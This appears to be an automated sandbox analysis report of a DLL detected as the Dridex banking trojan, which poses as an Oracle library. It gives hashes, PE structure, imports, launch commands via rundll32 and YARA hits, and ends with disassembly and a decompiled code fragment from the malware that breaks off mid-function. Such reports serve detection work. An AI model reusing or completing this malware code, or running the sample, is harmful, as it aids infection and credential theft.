                                                                                                    Preview: ..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.4.7.0.6.2.3.6.4.0.6.4.1.4.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.4.7.0.6.2.4.0.7.9.7.0.2.0.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.4.e.7.e.5.7.4.-.5.8.3.c.-.4.c.a.2.-.b.7.a.1.-.b.4.5.3.e.8.1.6.2.2.f.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.b.3.f.0.d.7.8.-.5.d.e.7.-.4.1.7.a.-.b.6.d.0.-.8.7.8.6.9.c.f.7.7.8.8.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.b.9.4.-.0.0.0.1.-.0.0.1.c.-.0.4.8.4.-.4.0.0.6.b.3.f.7.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.f.0.9.
                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WERE1C9.tmp.dmp
                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                    File Type:Mini DuMP crash report, 14 streams, Thu Dec 23 04:10:37 2021, 0x1205a4 type
                                                                                                    Category:dropped
                                                                                                    Size (bytes):46356
                                                                                                    Entropy (8bit):2.0556218445180456
                                                                                                    Encrypted:false
                                                                                                    SSDEEP:192:WpMgAEEcxd3VvzLO5SkbmQsMO5efz9g3jF0F+MOl9NdniI:Q3Fe5LbpsMOWzS0FtOl9vi
                                                                                                    MD5:D33CA82EBE6E92E8C9EE3BF9999FE093
                                                                                                    SHA1:F9B632E7D4E0AFCB543086B5F1858720220575CB
                                                                                                    SHA-256:0AFA0AC6A780D0EDF0ECFD74C0468568FA4715940874F9D73AEABB5536D1005D
                                                                                                    SHA-512:BCF9D1FD6C48CA06FDF0F15EE4C044C3834AAF15999AD872AD8FC4E01E7F4CD43CB8E28BB99942D86AC664081A1D51F2479227A63BB08284786EF16799E557B4
                                                                                                    Malicious:false
                                                                                                    Reputation:low
                                                                                                    Preview: MDMP....... ..........a.........................................-..........T.......8...........T...............L............................................................................................U...........B...... .......GenuineIntelW...........T..............a.............................0..=...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WERE8FD.tmp.WERInternalMetadata.xml
                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                    File Type:XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
                                                                                                    Category:dropped
                                                                                                    Size (bytes):8326
                                                                                                    Entropy (8bit):3.6885132910410148
                                                                                                    Encrypted:false
                                                                                                    SSDEEP:192:Rrl7r3GLNicp67Og56YBDq6cgmfT/mSWCprk89bXEsf3Adm:RrlsNii676YBO6cgmfT/mSfX3f3
                                                                                                    MD5:A19806F072B83C8F9677DE08F86CB46E
                                                                                                    SHA1:2F9E8BF4485B23CA8F91777A8648D2091A12E1D9
                                                                                                    SHA-256:6A2050363CCD46EC2B084E078F8066624B4819D01F9888765C09AA4E6FD2E30A
                                                                                                    SHA-512:3E8E90340C69DE87B750866483032133CCC6E11C16C5C957D190FB29B79E33985D8625BE22BC11741D97FDC2C689065A0AA2810AB97214CB530FBF46D859A0C0
                                                                                                    Malicious:false
                                                                                                    Reputation:low
                                                                                                    Preview: ..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.9.6.4.<./.P.i.d.>.......
                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WEREBBD.tmp.xml
                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                    Category:dropped
                                                                                                    Size (bytes):4698
                                                                                                    Entropy (8bit):4.490369220814527
                                                                                                    Encrypted:false
                                                                                                    SSDEEP:48:cvIwSD8zsPJgtWI9XHWSC8B18fm8M4JCdsD6hF+NgW+q8/QYBH4SrSh6d:uITfxE2SNMJlTgWVeDWh6d
                                                                                                    MD5:BA36C1BA3C0332D7CE22587788D18B9A
                                                                                                    SHA1:00E9266E46602FB7F9BDF52C9347468CFF0A7B91
                                                                                                    SHA-256:8CDF1624CA332715098C4F4ABFB257ECE778B94981822151202E1FCEAA8A17F7
                                                                                                    SHA-512:2BCD053D5F1E890851B3AFE45CBD860533B5183434AB274F64DAA4B5B9E28AD375B46BF3DBD511B86EE021B3CDED159AED9E11F03FCE30C7CA233F0910B4E989
                                                                                                    Malicious:false
                                                                                                    Reputation:low
                                                                                                    Preview: <?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1309761" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..
                                                                                                    C:\Windows\appcompat\Programs\Amcache.hve
                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                    File Type:MS Windows registry file, NT/2000 or above
                                                                                                    Category:dropped
                                                                                                    Size (bytes):1572864
                                                                                                    Entropy (8bit):4.276319444681263
                                                                                                    Encrypted:false
                                                                                                    SSDEEP:12288:n7n8Dpvri2L28pTOUEr71nmFnj40sd22Cq69fqiELV1XeaeTsllkqU:7n8Dpvri2L28pTbz
                                                                                                    MD5:1FED069D51D64B2EF9E749426956732F
                                                                                                    SHA1:CDD1104BFD69A697852499ABBF5006E98AE7AB8F
                                                                                                    SHA-256:D6774A26604D1DAF5505219F21A1B9221CDBEBDB769C051A661F72308868A734
                                                                                                    SHA-512:508644E48D9D894E37E99146E9BE12B437AF5299EA0EFB10E9B7E6A31A8D278649B74D4871A2A1BDDAB08800869CA37EFF1C30BB32431D9AA05FFE514AA96873
                                                                                                    Malicious:false
                                                                                                    Reputation:low
                                                                                                    Preview: regfZ...Z...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.*..................................................................................................................................................................................................................................................................................................................................................-n.U........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                    C:\Windows\appcompat\Programs\Amcache.hve.LOG1
                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                    File Type:MS Windows registry file, NT/2000 or above
                                                                                                    Category:dropped
                                                                                                    Size (bytes):24576
                                                                                                    Entropy (8bit):4.032823767487586
                                                                                                    Encrypted:false
                                                                                                    SSDEEP:384:FJYJ5Rftx1QPJ4XLsFcnE7kvPBqXASeq5QMVyi6+/Jl4Lk4UZd1DoXznZXvwv0:PYXRftx1mJ4XoFcE74BqXTeq5QMVyi6o
                                                                                                    MD5:C5C78BB71FE7AB8673AEE48EF6AA728D
                                                                                                    SHA1:A471D1595856DC590BE90997573CD33E1168A753
                                                                                                    SHA-256:9430DBD473E740ACCF71017BEB7808AF2F945697F3A1E48023BB16EA5465DBA3
                                                                                                    SHA-512:7C4266C37736119F4DD01677C8BF44DA0B49E75DCB112D0A4CEC7755F9C3DDD121DD10BCC3863B626AED725708F7AF3FF72B6FEF665FC3B74AAC7004112403D6
                                                                                                    Malicious:false
                                                                                                    Reputation:low
                                                                                                    Preview: regfY...Y...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.*..................................................................................................................................................................................................................................................................................................................................................+n.UHvLE.^......Y............b..\..N..\i.............0................... ..hbin................p.\..,..........nk,.9...........0........................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk .9........... ........................... .......Z.......................Root........lf......Root....nk .9........................}.............. ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck...

                                                                                                    Static File Info

                                                                                                    General

                                                                                                    File type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                    Entropy (8bit):7.322432304733337
                                                                                                    TrID:
                                                                                                    • Win32 Dynamic Link Library (generic) (1002004/3) 99.60%
                                                                                                    • Generic Win/DOS Executable (2004/3) 0.20%
                                                                                                    • DOS Executable Generic (2002/1) 0.20%
                                                                                                    • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                    File name:SecuriteInfo.com.W32.AIDetect.malware1.23460.dll
                                                                                                    File size:544768
                                                                                                    MD5:d633b0989e97dc05b09b6233fb53cf37
                                                                                                    SHA1:6e5a7f0493fea40bd213209ad06f4dd9069969ed
                                                                                                    SHA256:03ba158e40b1f9c80c0430cd9a06f00bcbddd3826a5965fccb4ac5b242b91a2c
                                                                                                    SHA512:28a594e2f150c7f9a970f068072fe92bcc4c08dc28893023675fec9ea60926c36c044f8200ff6b5759c6173a2ab3771fa18545c3fa8b9c5328ff54e615eb705c
                                                                                                    SSDEEP:6144:0k+RYf/Mv1UvT4vjYf/Glpov3KvfMvLo+jwHk3UryzU3+R7ff4evm35IQku4+pMs:0kt2UAogoOwhx7nA4+pMTg
                                                                                                    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R...<...<...<..k....<...=.S.<.=.....<.......<.......<.t.?...<.t.=.4.<.L.9...<.t...0.<..k....<..0..x.<.......<..1....<..k....<

                                                                                                    File Icon

                                                                                                    Icon Hash:74f0e4ecccdce0e4

                                                                                                    Static PE Info

                                                                                                    General

                                                                                                    Entrypoint:0x10004db0
                                                                                                    Entrypoint Section:.rdata
                                                                                                    Digitally signed:false
                                                                                                    Imagebase:0x10000000
                                                                                                    Subsystem:windows gui
                                                                                                    Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                                                                                                    DLL Characteristics:DYNAMIC_BASE, NX_COMPAT
                                                                                                    Time Stamp:0x61C2E245 [Wed Dec 22 08:31:01 2021 UTC]
                                                                                                    TLS Callbacks:
                                                                                                    CLR (.Net) Version:
                                                                                                    OS Version Major:5
                                                                                                    OS Version Minor:0
                                                                                                    File Version Major:5
                                                                                                    File Version Minor:0
                                                                                                    Subsystem Version Major:5
                                                                                                    Subsystem Version Minor:0
                                                                                                    Import Hash:e980d287af7ef0ccd616c6efb9daaae8

                                                                                                    Entrypoint Preview

                                                                                                    Instruction
                                                                                                    inc eax
                                                                                                    mov edx, 00000003h
                                                                                                    cmpps xmm1, xmm0, 02h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    add edx, 04h
                                                                                                    jmp 00007F0154E19EA1h
                                                                                                    int3
                                                                                                    int3
                                                                                                    int3
                                                                                                    int3
                                                                                                    int3
                                                                                                    int3
                                                                                                    int3
                                                                                                    int3
                                                                                                    int3
                                                                                                    int3
                                                                                                    int3
                                                                                                    int3
                                                                                                    push ebp
                                                                                                    mov ebp, esp
                                                                                                    push esi
                                                                                                    push edi
                                                                                                    push ebx
                                                                                                    and esp, FFFFFFF8h
                                                                                                    sub esp, 00000090h
                                                                                                    mov eax, dword ptr [ebp+08h]
                                                                                                    mov byte ptr [esp+00000083h], 00000064h
                                                                                                    mov dword ptr [esp+70h], 02263442h
                                                                                                    mov dword ptr [esp+44h], eax
                                                                                                    call 00007F0154E1DA2Ah
                                                                                                    mov ecx, eax
                                                                                                    mov edx, eax
                                                                                                    mov esi, dword ptr [eax+3Ch]
                                                                                                    movzx edi, word ptr [esp+0000008Ah]
                                                                                                    mov bx, di
                                                                                                    mov dword ptr [esp+40h], eax
                                                                                                    mov eax, edi
                                                                                                    xor eax, 0000E2E7h
                                                                                                    mov word ptr [esp+3Eh], ax
                                                                                                    mov al, byte ptr [esp+77h]
                                                                                                    mov byte ptr [esp+3Dh], al
                                                                                                    mov eax, dword ptr [esp+00000084h]
                                                                                                    mov dword ptr [esp+38h], esi
                                                                                                    mov si, word ptr [esp+3Eh]
                                                                                                    mov word ptr [eax+eax+00000000h], si

                                                                                                    Rich Headers

                                                                                                    Programming Language:
                                                                                                    • [IMP] VS2015 UPD1 build 23506
                                                                                                    • [C++] VS2012 UPD1 build 51106
                                                                                                    • [ASM] VS2012 build 50727
                                                                                                    • [ASM] VS2012 UPD2 build 60315
                                                                                                    • [LNK] VS2010 SP1 build 40219
                                                                                                    • [EXP] VS2010 SP1 build 40219
                                                                                                    • [RES] VS2015 UPD1 build 23506
                                                                                                    • [IMP] VS2010 build 30319
                                                                                                    • [ASM] VS2015 UPD1 build 23506
                                                                                                    • [C++] VS2017 v15.5.4 build 25834
                                                                                                    • [EXP] VS2012 UPD4 build 61030
                                                                                                    • [C++] VS2008 build 21022
                                                                                                    • [ASM] VS2010 SP1 build 40219

                                                                                                    Data Directories

                                                                                                    NameVirtual AddressVirtual Size Is in Section
                                                                                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x7c0290x60.rdata
                                                                                                    IMAGE_DIRECTORY_ENTRY_IMPORT0x7c08c0x78.rdata
                                                                                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0x840000x2f0.rsrc
                                                                                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x850000x1138.reloc
                                                                                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x60300x38.rdata
                                                                                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_IAT0x80000x44.rdata
                                                                                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                    Sections

                                                                                                    NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                    .rdata0x10000x6b2e0x7000False0.391671316964data4.4813428029IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                                                                                    .rdata0x80000x7424e0x75000False0.316216362847data7.44062865664IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                    .data0x7d0000x61900x5000False0.24609375data5.03782298504IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                                                                                                    .rsrc0x840000x2f00x1000False0.09033203125data0.789164600932IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                    .reloc0x850000x11380x2000False0.2421875data4.12390144992IMAGE_SCN_TYPE_COPY, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                    Resources

                                                                                                    NameRVASizeTypeLanguageCountry
                                                                                                    RT_VERSION0x840600x290MS Windows COFF PA-RISC object fileEnglishUnited States

                                                                                                    Imports

                                                                                                    DLLImport
                                                                                                    WINSPOOL.DRVEnumFormsW
                                                                                                    ADVAPI32.dllRegCloseKey, QueryServiceStatusEx, AccessCheck
                                                                                                    WS2_32.dllWSACleanup
                                                                                                    USER32.dllGetWindowTextA
                                                                                                    KERNEL32.dllCloseHandle, GetModuleHandleW, GetFileSize, OutputDebugStringA, IsDebuggerPresent, GetModuleFileNameW

                                                                                                    Version Infos

                                                                                                    DescriptionData
                                                                                                    OriginalFilenameIha.dll
                                                                                                    FileDescriptionOracle Call Interface
                                                                                                    FileVersion2.3.7.0.0
                                                                                                    Legal CopyrightCopyright Oracle Corporation 1979, 2001. All rights reserved.
                                                                                                    CompanyNameOracle Corporation
                                                                                                    Translation0x0409 0x04b0

                                                                                                    Possible Origin

                                                                                                    Language of compilation systemCountry where language is spokenMap
                                                                                                    EnglishUnited States

                                                                                                    Network Behavior

                                                                                                    No network behavior found

                                                                                                    Code Manipulations

                                                                                                    Statistics

                                                                                                    CPU Usage

                                                                                                    Click to jump to process

                                                                                                    Memory Usage

                                                                                                    Click to jump to process

                                                                                                    High Level Behavior Distribution

                                                                                                    Click to dive into process behavior distribution

                                                                                                    Behavior

                                                                                                    Click to jump to process

                                                                                                    System Behavior

                                                                                                    General

                                                                                                    Start time:20:10:29
                                                                                                    Start date:22/12/2021
                                                                                                    Path:C:\Windows\System32\loaddll32.exe
                                                                                                    Wow64 process (32bit):true
                                                                                                    Commandline:loaddll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware1.23460.dll"
                                                                                                    Imagebase:0x12a0000
                                                                                                    File size:116736 bytes
                                                                                                    MD5 hash:7DEB5DB86C0AC789123DEC286286B938
                                                                                                    Has elevated privileges:true
                                                                                                    Has administrator privileges:true
                                                                                                    Programmed in:C, C++ or other language
                                                                                                    Yara matches:
                                                                                                    • Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Author: Joe Security
                                                                                                    Reputation:moderate

                                                                                                    General

                                                                                                    Start time:20:10:30
                                                                                                    Start date:22/12/2021
                                                                                                    Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                    Wow64 process (32bit):true
                                                                                                    Commandline:cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware1.23460.dll",#1
                                                                                                    Imagebase:0xd80000
                                                                                                    File size:232960 bytes
                                                                                                    MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                    Has elevated privileges:true
                                                                                                    Has administrator privileges:true
                                                                                                    Programmed in:C, C++ or other language
                                                                                                    Reputation:high

                                                                                                    General

                                                                                                    Start time:20:10:30
                                                                                                    Start date:22/12/2021
                                                                                                    Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                                    Wow64 process (32bit):true
                                                                                                    Commandline:rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware1.23460.dll",#1
                                                                                                    Imagebase:0x250000
                                                                                                    File size:61952 bytes
                                                                                                    MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                                                                                                    Has elevated privileges:true
                                                                                                    Has administrator privileges:true
                                                                                                    Programmed in:C, C++ or other language
                                                                                                    Yara matches:
                                                                                                    • Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000003.00000000.300409127.000000006EC31000.00000020.00020000.sdmp, Author: Joe Security
                                                                                                    • Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000003.00000002.329263853.000000006EC31000.00000020.00020000.sdmp, Author: Joe Security
                                                                                                    • Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000003.00000000.298329265.000000006EC31000.00000020.00020000.sdmp, Author: Joe Security
                                                                                                    Reputation:high

                                                                                                    General

                                                                                                    Start time:20:10:34
                                                                                                    Start date:22/12/2021
                                                                                                    Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                    Wow64 process (32bit):true
                                                                                                    Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 2964 -s 672
                                                                                                    Imagebase:0x11b0000
                                                                                                    File size:434592 bytes
                                                                                                    MD5 hash:9E2B8ACAD48ECCA55C0230D63623661B
                                                                                                    Has elevated privileges:true
                                                                                                    Has administrator privileges:true
                                                                                                    Programmed in:C, C++ or other language
                                                                                                    Reputation:high

                                                                                                    Disassembly

                                                                                                    Code Analysis

                                                                                                    Reset < >

                                                                                                      Executed Functions

                                                                                                      C-Code - Quality: 83%
                                                                                                      			E6EC40730(void* __ecx) {
                                                                                                      				void* __ebx;
                                                                                                      				void* __esi;
                                                                                                      				void* __ebp;
                                                                                                      				intOrPtr _t155;
                                                                                                      				signed char* _t159;
                                                                                                      				char _t162;
                                                                                                      				void* _t180;
                                                                                                      				intOrPtr _t189;
                                                                                                      				char _t190;
                                                                                                      				intOrPtr _t196;
                                                                                                      				intOrPtr _t200;
                                                                                                      				void* _t203;
                                                                                                      				void* _t212;
                                                                                                      				void* _t213;
                                                                                                      				void* _t215;
                                                                                                      				void* _t216;
                                                                                                      				void* _t223;
                                                                                                      				void* _t238;
                                                                                                      				void* _t241;
                                                                                                      				void* _t244;
                                                                                                      				void* _t247;
                                                                                                      				void* _t250;
                                                                                                      				void* _t254;
                                                                                                      				void* _t259;
                                                                                                      				void* _t265;
                                                                                                      				void* _t268;
                                                                                                      				int _t271;
                                                                                                      				void* _t272;
                                                                                                      				void* _t276;
                                                                                                      				void* _t277;
                                                                                                      				void* _t278;
                                                                                                      				void* _t282;
                                                                                                      				int _t288;
                                                                                                      				intOrPtr* _t291;
                                                                                                      				signed char _t294;
                                                                                                      				signed char _t295;
                                                                                                      				intOrPtr* _t320;
                                                                                                      				intOrPtr* _t325;
                                                                                                      				intOrPtr* _t363;
                                                                                                      				char _t364;
                                                                                                      				intOrPtr* _t372;
                                                                                                      				void* _t377;
                                                                                                      				void* _t382;
                                                                                                      				void* _t383;
                                                                                                      				void* _t384;
                                                                                                      				void* _t385;
                                                                                                      				void* _t386;
                                                                                                      				void* _t387;
                                                                                                      				void* _t393;
                                                                                                      				void* _t395;
                                                                                                      				void* _t401;
                                                                                                      				void* _t403;
                                                                                                      				intOrPtr* _t404;
                                                                                                      				signed int _t406;
                                                                                                      				intOrPtr* _t409;
                                                                                                      				void* _t411;
                                                                                                      				signed int _t413;
                                                                                                      				void* _t414;
                                                                                                      				void* _t415;
                                                                                                      				void* _t420;
                                                                                                      				intOrPtr* _t423;
                                                                                                      				void* _t425;
                                                                                                      				void** _t427;
                                                                                                      				void* _t428;
                                                                                                      				void* _t429;
                                                                                                      
                                                                                                      				_t414 = __ecx;
                                                                                                      				_t155 =  *0x6ec4d1f8;
                                                                                                      				if(_t155 == 0x4c71e88d) {
                                                                                                      					_t155 = E6EC4361C(0x30);
                                                                                                      					 *0x6ec4d1f8 = _t155;
                                                                                                      				}
                                                                                                      				if( *((char*)(_t155 + 0xb)) == 0 || _t414 != 0) {
                                                                                                      					_t415 = _t428 + 0x48;
                                                                                                      					E6EC43698(_t415, 0, 0x11c);
                                                                                                      					_t429 = _t428 + 0xc;
                                                                                                      					 *((intOrPtr*)(_t429 + 0x48)) = 0x11c;
                                                                                                      					if(E6EC4306C(0x8e844d1e, 0xcf311107, 0x8e844d1e, 0x8e844d1e) != 0) {
                                                                                                      						_push(_t415);
                                                                                                      						asm("int3");
                                                                                                      						asm("int3");
                                                                                                      					}
                                                                                                      					_t404 =  *0x6ec4d1f8;
                                                                                                      					_t159 = _t429 + 0x4c;
                                                                                                      					_t294 =  *_t159;
                                                                                                      					 *(_t404 + 8) = _t294;
                                                                                                      					_t295 = _t159[4];
                                                                                                      					 *(_t404 + 9) = _t295;
                                                                                                      					 *((char*)(_t404 + 0xa)) = _t159[0x110];
                                                                                                      					 *((intOrPtr*)(_t404 + 4)) =  *((intOrPtr*)(_t429 + 0x54));
                                                                                                      					 *((char*)(_t404 + 0xc)) = 0 | _t159[0x116] != 0x00000001;
                                                                                                      					 *_t404 = (_t295 & 0x000000ff) + ((_t294 & 0x000000ff) << 4) - 0x50;
                                                                                                      					_t162 = E6EC40FF8(_t404);
                                                                                                      					 *(_t429 + 0x198) = 0;
                                                                                                      					 *((char*)( *0x6ec4d1f8 + 0xb)) = _t162;
                                                                                                      					_t363 = E6EC4306C(0x150c05fc, 0x1da4d409, _t162, _t162);
                                                                                                      					if(_t363 == 0) {
                                                                                                      						L12:
                                                                                                      						_t364 = 0;
                                                                                                      						L13:
                                                                                                      						 *((char*)( *0x6ec4d1f8 + 0x28)) = _t364;
                                                                                                      						if( *((intOrPtr*)(E6EC40730(0))) >= 0x10) {
                                                                                                      							_push(6);
                                                                                                      							memcpy(_t429 + 0x164, 0x6ec4bce0, 0 << 2);
                                                                                                      							_t429 = _t429 + 0xc;
                                                                                                      							 *((intOrPtr*)(_t429 + 0x1c)) = 0;
                                                                                                      							E6EC3F584(_t429 + 0x24, 0);
                                                                                                      							_t406 = 0;
                                                                                                      							__eflags = 0;
                                                                                                      							do {
                                                                                                      								E6EC3F828(_t429 + 0x24, E6EC3F4CC(_t429 + 0x20) + 4);
                                                                                                      								 *((intOrPtr*)(E6EC3F4BC(_t429 + 0x24, E6EC3F4CC(_t429 + 0x20) + 0xfffffffc))) =  *((intOrPtr*)(_t429 + 0x164 + _t406 * 4));
                                                                                                      								_t406 = _t406 + 1;
                                                                                                      								 *((intOrPtr*)(_t429 + 0x1c)) =  *((intOrPtr*)(_t429 + 0x1c)) + 1;
                                                                                                      								__eflags = _t406 - 6;
                                                                                                      							} while (_t406 < 6);
                                                                                                      							_push(0);
                                                                                                      							E6EC45580(_t429 + 0xc, _t429 + 0x1c, 0x80000002);
                                                                                                      							E6EC3F654(_t429 + 0x20);
                                                                                                      							E6EC455B0(_t429 + 8, _t429 + 0x1c0, 0xc0092a94);
                                                                                                      							_t180 = E6EC45864(_t429 + 4, __eflags,  *((intOrPtr*)(_t429 + 0x1c0)));
                                                                                                      							_t407 = _t180;
                                                                                                      							E6EC3DFA4(_t429 + 0x1c0);
                                                                                                      							__eflags = _t180;
                                                                                                      							if(_t180 != 0) {
                                                                                                      								E6EC455B0(_t429 + 8, _t429 + 0x1c8, 0x1e55aaec);
